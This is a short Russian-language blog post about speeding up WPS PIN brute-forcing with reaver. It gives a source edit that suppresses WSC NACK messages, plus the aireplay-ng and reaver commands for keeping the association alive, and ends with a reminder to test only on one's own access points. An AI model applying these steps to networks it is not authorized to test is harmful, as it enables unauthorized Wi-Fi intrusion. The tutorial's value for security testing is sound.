12.24.2013

WPS NACK tweak for reaver

Для специалистов по сетевой безопасности и прочих интересующихся темой нет нужды представлять reaver - утилиту для подбора WPS PIN-кода.

Однако очень часто даже при наличии хорошего уровня сигнала и включенной функции WPS на роутере, взлом не идёт или идёт очень медленно.

Недавно в очередной раз столкнулся с этой проблемой и решил потратить немного времени на её решение.

Проблема: после проверки очередного PIN, reaver отправляет WPS Nack и точка доступа отправляет "deauthentication packet". Последующая аутентификация и ассоциация занимают значительное время, а после N-ой попытки точка вообще отказывается с нами работать:
12:57:04  Sending Authentication Request (Open System) [ACK]
12:57:04  Authentication successful
12:57:04  Sending Association Request [ACK]
12:57:04  Denied (code 12), wrong ESSID or WPA ?

Решение: заставить reaver не отправлять WPS Nack, а ассоциацию поддерживать сторонней утилитой (например, aireplay-ng).
Для этого редактируем файл wps/wps_registrar.c в исходниках reaver и пересобираем его. Достаточно просто закомментировать код, как в примере ниже:

                        case SEND_WSC_NACK:
                                /*msg = wps_build_wsc_nack(wps);
                                cprintf(VERBOSE, "[+] Sending WSC NACK\n");
                                *op_code = WSC_NACK;
                                */
                                break;

После этого в новой консоли запускаем: aireplay-ng -1 2 -a XX:XX:XX:XX:XX:XX -Q IF_NAME
А сам reaver запускаем с ключом "-A".

P.S. Не лишним будет напомнить, что проверять работоспособность этого метода можно только на своих точках доступа.